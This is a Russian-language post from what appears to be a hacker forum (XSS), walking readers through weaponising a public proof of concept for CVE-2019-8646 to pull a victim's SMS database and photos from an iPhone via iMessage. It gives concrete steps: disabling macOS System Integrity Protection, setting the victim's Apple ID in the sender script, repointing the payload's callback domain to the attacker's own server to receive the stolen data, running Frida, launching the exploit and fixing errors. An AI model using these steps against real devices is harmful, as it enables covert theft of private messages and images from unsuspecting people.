• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Эксплуатируем CVE 2019-8646

pablo

(L2) cache
Пользователь
Регистрация
01.02.2019
Сообщения
433
Реакции
1 524
Друзья, всем привет!

Сегодня я попытаюсь вам рассказать, как воспользоваться POC’ом от Natalie Silvanovich из команды Google Project Zero. Что можно сделать с помощью этого POC’a: в описание к CVE указывается, что у нас есть возможность получить доступ к содержимому смс-сообщений (речь про /var/mobile/Library/SMS/sms.db) и изображениям из фотогалереи устройства.

Краткая техническая информация по уязвимости:

Итак, нам понадобится:
  • Виртуальная машина на базе macOS версии Mojave (10.14);
  • Смартфон Apple iPhone на котором будем тестировать эксп;
  • Frida

Инструкция:
1. Подготовка виртуальной машины.
После запуска ОС зажимаем клавиши Command+R/Windows+R и входим в консоль, затем прописываем "csrutil disable", и, тем самым отключаем "System Integrity Protection", который не позволит нам поставить hook на сервис с именем "imagent", который отвечает за работу приложений: FaceTime и iMessages.

2. Подготовка сплойта
Перезагружаем нашу виртуалку, логинимся и скачиваем свежий POC https://bugs.chromium.org/p/project-zero/issues/detail?id=1858
Архив "messageleak.zip" должен иметь следующее содержимое:
Код:
MD5 (injectMessage.js) = d922afbf15661ce700f7cbf2cc660657
MD5 (myserver.py) = 3c78673f4953a078c75ce9ced903595d
MD5 (obj_db) = f96f64ac54c4e2d667d2b0afff25dff9
MD5 (obj_imgdump) = fdc01461eb9f3b09781550e679710adb
MD5 (sendMessage.applescript) = 074dc419a5383ebb3bb3d67f83798e0a
MD5 (sendMessage.py) = f63b8869e818fdbccc8abab6cdba5a57
MD5 (uni.py) = 754ad573e3aeff1edab103e1fe5175c0
2.1. Правка "sendMessage.py":
В первую очередь, необходимо поправить скрипт "sendMessage.py", т.к. именно он содержит переменную "receiver" – Apple ID жертвы.
Вставляем почту или номер телефона вместо «TARGET»:
Меняем содержимое переменной "receiver":
Код:
receiver = "TARGET"
на:
Код:
receiver = “example@example.com"
2.2. Правка "injectMessage.js"
Тут надо понять, что мы будем забирать с устройства жертвы. Natalie Silvanovich рекомендует использовать нагрузку "obj_db" для получения SQLite-баз, а "obj_image" для "binary files (images)". В нашем случаем мы будем пытаться забрать базу смс-сообщений – нагрузка "obj_db".
Меняем содержимое переменной "d":
Код:
var d = ObjC.classes.NSData.dataWithContentsOfFile_("FULL PATH HERE/obj");
на
Код:
var d = ObjC.classes.NSData.dataWithContentsOfFile_("/Users/admin/Desktop/obj_db");
В нагрузке "obj_db" необходимо заменить домен "natashenka.party" на адрес к ваше серверу, который будет получать ответ с результатами работы экспа.

3. Настройка Frida
Тут без особенностей, скачиваем с сайта "https://github.com/frida/frida/releases" бинарь с именем "frida-server-12.6.12-macos-x86_64.xz" и запускаем:
Код:
MD5 (frida-server-12.6.12-macos-x86_64.xz) = b58f4c7ed17c23a88e9a46620645f1d4
Команды:
Код:
$ chmod +x frida-server-12.6.12-macos-x86_64
$ ./frida-server-12.6.12-macos-x86_64 -l 0.0.0.0 -v

Ставим frida-tools:
Код:
$ sudo easy_install pip
$ pip install frida-tools --user
4. Запуск сплойта
Код:
python sendMessage.py
В ходе работы скрипта, будут запросы на права доступа к приложению Message - надо все "разрешить". Ждем отстука на сервере и наслаждаемся результатом.

Возможные ошибки:
1. Отсутствия контакта жертвы в адресной книги macOS:
Код:
sendMessage.applescript:219:252: execution error: Получена ошибка от «Messages»: Не удается получить buddy id "PlaceholderAccount:target". (-0000)
Решение: необходимо добавить контакт жертвы в адресную книгу.

2. Смарфон перезагружается после открытия сообщения - неверный путь к файлу
3. Полученный файл битый или маленький кусок от файла - сплойт очень нестабильный, что имеем :)


Автор: ingeborg
взято с exploit
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх